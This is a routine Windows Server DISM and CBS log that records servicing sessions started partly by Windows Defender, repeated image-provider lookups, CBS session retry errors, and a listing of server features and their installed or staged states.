[3580.4348] [0xc142011c] UnmarshallImageHandleFromDirectory:(641)
[3580.4348] [0xc142011c] WIMGetMountedImageHandle:(2910)
2025-05-16 23:05:24, Info                  DISM   DISM WIM Provider: PID=3580 TID=4348 [C:\] is not a WIM mount point. - CWimMountedImageInfo::Initialize
2025-05-16 23:05:24, Info                  DISM   DISM Imaging Provider: PID=3580 TID=4348 The provider WimManager does not support CreateDismImage on C:\ - CGenericImagingManager::CreateDismImage
2025-05-16 23:05:24, Info                  DISM   DISM Imaging Provider: PID=3580 TID=4348 No imaging provider supported CreateDismImage for this path - CGenericImagingManager::CreateDismImage
[3580.4348] [0x8007007b] FIOReadFileIntoBuffer:(1458): The filename, directory name, or volume label syntax is incorrect.
[3580.4348] [0xc142011c] UnmarshallImageHandleFromDirectory:(641)
[3580.4348] [0xc142011c] WIMGetMountedImageHandle:(2910)
2025-05-16 23:05:24, Info                  DISM   DISM WIM Provider: PID=3580 TID=4348 [C:\] is not a WIM mount point. - CWimMountedImageInfo::Initialize
2025-05-16 23:05:24, Info                  DISM   DISM FFU Provider: PID=3580 TID=4348 [C:\] is not recognized by the DISM FFU provider. - CFfuImage::Initialize
2025-05-16 23:05:24, Info                  DISM   DISM VHD Provider: PID=3580 TID=4348 [C:\] is not recognized by the DISM VHD provider. - CVhdImage::Initialize
2025-05-16 23:05:24, Info                  DISM   DISM Manager: PID=3580 TID=4348 physical location path: C:\ - CDISMManager::CreateImageSession
2025-05-16 23:05:24, Info                  DISM   DISM Manager: PID=3580 TID=4348 Event name for current DISM session is Global\{743749A9-66AF-4646-82DE-CAD526FFA267} - CDISMManager::CheckSessionAndLock
2025-05-16 23:05:24, Info                  DISM   DISM Manager: PID=3580 TID=4348 Create session event 0x338 for current DISM session and event name is Global\{743749A9-66AF-4646-82DE-CAD526FFA267}  - CDISMManager::CheckSessionAndLock
2025-05-16 23:05:24, Info                  DISM   DISM Manager: PID=3580 TID=4348 Copying DISM from "C:\Windows\System32\Dism" - CDISMManager::CreateImageSessionFromLocation
2025-05-16 23:05:24, Info                  DISM   DISM Manager: PID=3580 TID=4348 Successfully loaded the ImageSession at "C:\Windows\TEMP\70C74420-6511-4CC3-9EA6-EA35A1D5A605" - CDISMManager::LoadRemoteImageSession
2025-05-16 23:05:24, Info                  DISM   DISM Image Session: PID=3316 TID=2288 Instantiating the Provider Store. - CDISMImageSession::get_ProviderStore
2025-05-16 23:05:24, Info                  DISM   DISM OS Provider: PID=3316 TID=2288 Defaulting SystemPath to C:\ - CDISMOSServiceManager::Final_OnConnect
2025-05-16 23:05:24, Info                  DISM   DISM OS Provider: PID=3316 TID=2288 Defaulting Windows folder to C:\Windows - CDISMOSServiceManager::Final_OnConnect
2025-05-16 23:05:24, Info                  DISM   DISM Provider Store: PID=3316 TID=2288 Attempting to initialize the logger from the Image Session. - CDISMProviderStore::Final_OnConnect
2025-05-16 23:05:24, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:24, Info                  DISM   DISM Provider Store: PID=3316 TID=2288 Found and Initialized the DISM Logger. - CDISMProviderStore::Internal_InitializeLogger
2025-05-16 23:05:24, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:24, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:24, Info                  DISM   DISM Manager: PID=3580 TID=4348 Image session successfully loaded from the temporary location: C:\Windows\TEMP\70C74420-6511-4CC3-9EA6-EA35A1D5A605 - CDISMManager::CreateImageSession
2025-05-16 23:05:24, Info                  DISM   API: PID=3580 TID=4348 Target image information: OS Version=10.0.20348.405, Image architecture=amd64 - CDismCore::LogImageSessionDetails
2025-05-16 23:05:24, Info                  DISM   API: PID=3580 TID=3656 Session id is: 2 - DismOpenSessionInternal
2025-05-16 23:05:24, Info                  DISM   API: PID=3580 TID=3656 Input parameters: Session: 2, Identifier: (null), PackageIdentifier: 0 - DismGetFeaturesInternal
2025-05-16 23:05:24, Info                  DISM   API: PID=3580 TID=3656 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-05-16 23:05:24, Info                  DISM   API: PID=3580 TID=4348 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-05-16 23:05:24, Info                  DISM   API: PID=3580 TID=4348 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-05-16 23:05:24, Info                  CSI    00000001 Shim considered [l:125]'\??\C:\Windows\Servicing\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_OBJECT_PATH_NOT_FOUND
2025-05-16 23:05:24, Info                  CSI    00000002 Shim considered [l:122]'\??\C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_SUCCESS
2025-05-16 23:05:24, Info                  DISM   DISM OS Provider: PID=3316 TID=2288 Determined System directory to be C:\Windows\System32 - CDISMOSServiceManager::get_SystemDirectory
2025-05-16 23:05:24, Info                  DISM   DISM Package Manager: PID=3316 TID=2288 Finished initializing the CbsConUI Handler. - CCbsConUIHandler::Initialize
2025-05-16 23:05:24, Info                  CSI    00000001 Shim considered [l:125]'\??\C:\Windows\Servicing\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_OBJECT_PATH_NOT_FOUND
2025-05-16 23:05:24, Info                  CSI    00000002 Shim considered [l:122]'\??\C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_SUCCESS
2025-05-16 23:05:24, Info                  DISM   DISM Package Manager: PID=3316 TID=2288 CBS is being initialized for online use. More information about CBS actions can be located at: %windir%\logs\cbs\cbs.log - CDISMPackageManager::Initialize
2025-05-16 23:05:24, Error                 DISM   DISM Package Manager: PID=3316 TID=2288 Failed to create session classID - waiting for a second and trying again, hr:0x8007045b - CDISMPackageManager::CreateCbsSession(hr:0x8007045b)
2025-05-16 23:05:25, Error                 DISM   DISM Package Manager: PID=3316 TID=2288 Failed to create session classID - waiting for a second and trying again, hr:0x8007045b - CDISMPackageManager::CreateCbsSession(hr:0x8007045b)
2025-05-16 23:05:26, Error                 DISM   DISM Package Manager: PID=3316 TID=2288 Failed to create session classID - waiting for a second and trying again, hr:0x8007045b - CDISMPackageManager::CreateCbsSession(hr:0x8007045b)
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll:                                            - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll: &lt;----- Starting DismApi.dll session -----&gt; - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll:                                            - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll: Host machine information: OS Version=10.0.20348, Running architecture=amd64, Number of processors=2 - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll: API Version 10.0.20348.1 - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll: Parent process command line: "C:\Program Files\Windows Defender\MpCmdRun.exe" -Roles - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Input parameters: LogLevel: 2, LogFilePath: (null), ScratchDirectory: (null) - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Initialized GlobalConfig - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Initialized SessionTable - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Lookup in table by path failed for: DummyPath-2BA51B78-C7F7-4910-B99D-BB7345357CDC - CTransactionalImageTable::LookupImagePath
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Waiting for m_pInternalThread to start - CCommandThread::Start
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3364 Enter CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3364 Enter CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 CommandThread StartupEvent signaled - CCommandThread::WaitForStartup
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 m_pInternalThread started - CCommandThread::Start
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Created g_internalDismSession - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Input parameters: ImagePath: DISM_{53BFAE52-B167-4E2F-A258-0A37B57FF845}, WindowsDirectory: (null), SystemDrive: (null) - DismOpenSessionInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Lookup in table by path failed for: DRIVE_C - CTransactionalImageTable::LookupImagePath
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Waiting for m_pInternalThread to start - CCommandThread::Start
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 Enter CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 CommandThread StartupEvent signaled - CCommandThread::WaitForStartup
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 m_pInternalThread started - CCommandThread::Start
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 Enter CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-05-16 23:05:50, Info                  DISM   PID=3280 TID=3372 Scratch directory set to 'C:\Windows\TEMP\'. - CDISMManager::put_ScratchDir
2025-05-16 23:05:50, Info                  DISM   PID=3280 TID=3372 DismCore.dll version: 10.0.20348.1 - CDISMManager::FinalConstruct
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   PID=3280 TID=3372 Successfully loaded the ImageSession at "C:\Windows\system32\Dism" - CDISMManager::LoadLocalImageSession
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   DISM Provider Store: PID=3280 TID=3372 Found and Initialized the DISM Logger. - CDISMProviderStore::Internal_InitializeLogger
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 Successfully created the local image session and provider store. - CDISMManager::CreateLocalImageSession
2025-05-16 23:05:50, Info                  DISM   DISM FFU Provider: PID=3280 TID=3372 [C:\] is not recognized by the DISM FFU provider. - CFfuImage::Initialize
2025-05-16 23:05:50, Info                  DISM   DISM Imaging Provider: PID=3280 TID=3372 The provider FfuManager does not support CreateDismImage on C:\ - CGenericImagingManager::CreateDismImage
2025-05-16 23:05:50, Info                  DISM   DISM VHD Provider: PID=3280 TID=3372 [C:\] is not recognized by the DISM VHD provider. - CVhdImage::Initialize
2025-05-16 23:05:50, Info                  DISM   DISM Imaging Provider: PID=3280 TID=3372 The provider VHDManager does not support CreateDismImage on C:\ - CGenericImagingManager::CreateDismImage
[3280.3372] [0x8007007b] FIOReadFileIntoBuffer:(1458): The filename, directory name, or volume label syntax is incorrect.
[3280.3372] [0xc142011c] UnmarshallImageHandleFromDirectory:(641)
[3280.3372] [0xc142011c] WIMGetMountedImageHandle:(2910)
2025-05-16 23:05:50, Info                  DISM   DISM WIM Provider: PID=3280 TID=3372 [C:\] is not a WIM mount point. - CWimMountedImageInfo::Initialize
2025-05-16 23:05:50, Info                  DISM   DISM Imaging Provider: PID=3280 TID=3372 The provider WimManager does not support CreateDismImage on C:\ - CGenericImagingManager::CreateDismImage
2025-05-16 23:05:50, Info                  DISM   DISM Imaging Provider: PID=3280 TID=3372 No imaging provider supported CreateDismImage for this path - CGenericImagingManager::CreateDismImage
[3280.3372] [0x8007007b] FIOReadFileIntoBuffer:(1458): The filename, directory name, or volume label syntax is incorrect.
[3280.3372] [0xc142011c] UnmarshallImageHandleFromDirectory:(641)
[3280.3372] [0xc142011c] WIMGetMountedImageHandle:(2910)
2025-05-16 23:05:50, Info                  DISM   DISM WIM Provider: PID=3280 TID=3372 [C:\] is not a WIM mount point. - CWimMountedImageInfo::Initialize
2025-05-16 23:05:50, Info                  DISM   DISM FFU Provider: PID=3280 TID=3372 [C:\] is not recognized by the DISM FFU provider. - CFfuImage::Initialize
2025-05-16 23:05:50, Info                  DISM   DISM VHD Provider: PID=3280 TID=3372 [C:\] is not recognized by the DISM VHD provider. - CVhdImage::Initialize
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 physical location path: C:\ - CDISMManager::CreateImageSession
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 Event name for current DISM session is Global\{A3D976C6-44E0-4751-B78B-B15BE64F8407} - CDISMManager::CheckSessionAndLock
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 Create session event 0x340 for current DISM session and event name is Global\{A3D976C6-44E0-4751-B78B-B15BE64F8407}  - CDISMManager::CheckSessionAndLock
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 Copying DISM from "C:\Windows\System32\Dism" - CDISMManager::CreateImageSessionFromLocation
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 Successfully loaded the ImageSession at "C:\Windows\TEMP\A63227FD-637C-4C98-A2D6-357A978B97CC" - CDISMManager::LoadRemoteImageSession
2025-05-16 23:05:50, Info                  DISM   DISM Image Session: PID=3544 TID=3572 Instantiating the Provider Store. - CDISMImageSession::get_ProviderStore
2025-05-16 23:05:50, Info                  DISM   DISM OS Provider: PID=3544 TID=3572 Defaulting SystemPath to C:\ - CDISMOSServiceManager::Final_OnConnect
2025-05-16 23:05:50, Info                  DISM   DISM OS Provider: PID=3544 TID=3572 Defaulting Windows folder to C:\Windows - CDISMOSServiceManager::Final_OnConnect
2025-05-16 23:05:50, Info                  DISM   DISM Provider Store: PID=3544 TID=3572 Attempting to initialize the logger from the Image Session. - CDISMProviderStore::Final_OnConnect
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   DISM Provider Store: PID=3544 TID=3572 Found and Initialized the DISM Logger. - CDISMProviderStore::Internal_InitializeLogger
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 Image session successfully loaded from the temporary location: C:\Windows\TEMP\A63227FD-637C-4C98-A2D6-357A978B97CC - CDISMManager::CreateImageSession
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 Target image information: OS Version=10.0.20348.405, Image architecture=amd64 - CDismCore::LogImageSessionDetails
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Session id is: 2 - DismOpenSessionInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Input parameters: Session: 2, Identifier: (null), PackageIdentifier: 0 - DismGetFeaturesInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-05-16 23:05:50, Info                  CSI    00000001 Shim considered [l:125]'\??\C:\Windows\Servicing\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_OBJECT_PATH_NOT_FOUND
2025-05-16 23:05:50, Info                  CSI    00000002 Shim considered [l:122]'\??\C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_SUCCESS
2025-05-16 23:05:50, Info                  DISM   DISM OS Provider: PID=3544 TID=3572 Determined System directory to be C:\Windows\System32 - CDISMOSServiceManager::get_SystemDirectory
2025-05-16 23:05:50, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Finished initializing the CbsConUI Handler. - CCbsConUIHandler::Initialize
2025-05-16 23:05:50, Info                  CSI    00000001 Shim considered [l:125]'\??\C:\Windows\Servicing\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_OBJECT_PATH_NOT_FOUND
2025-05-16 23:05:50, Info                  CSI    00000002 Shim considered [l:122]'\??\C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_SUCCESS
2025-05-16 23:05:50, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 CBS is being initialized for online use. More information about CBS actions can be located at: %windir%\logs\cbs\cbs.log - CDISMPackageManager::Initialize
2025-05-16 16:05:26, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Loaded servicing stack for online use only. - CDISMPackageManager::CreateCbsSession
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Core with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetFx4ServerFeatures with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetFx4 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetFx4Extended-ASPNET45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-Services45 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-HTTP-Activation45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-TCP-Activation45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-Pipe-Activation45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-MSMQ-Activation45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-TCP-PortSharing45 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ManagementOdata with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DSC-Service with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DeviceHealthAttestationService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IPAMServerFeature with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RightsManagementServices-Role with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RightsManagementServices with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RMS-Federation with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RightsManagementServices-AdminTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ADCertificateServicesRole with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature CertificateServices with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature OnlineRevocationServices with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WebEnrollmentServices with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetworkDeviceEnrollmentServices with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature CertificateEnrollmentPolicyServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature CertificateEnrollmentServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature HostGuardianService-Package with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Web-Application-Proxy with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IdentityServer-SecurityTokenService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FSRM-Infrastructure with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-FCI-Client-Package with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FSRM-Infrastructure-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-InternetPrinting-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WebAccess with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ActiveDirectory-PowerShell with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectoryServices-AdministrativeCenter with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectoryServices-DomainController with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectoryServices-ISM-Smtp with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature AuthManager with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IPAMClientFeature with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices-RSAT with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices-API with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices-UI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices-Database with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
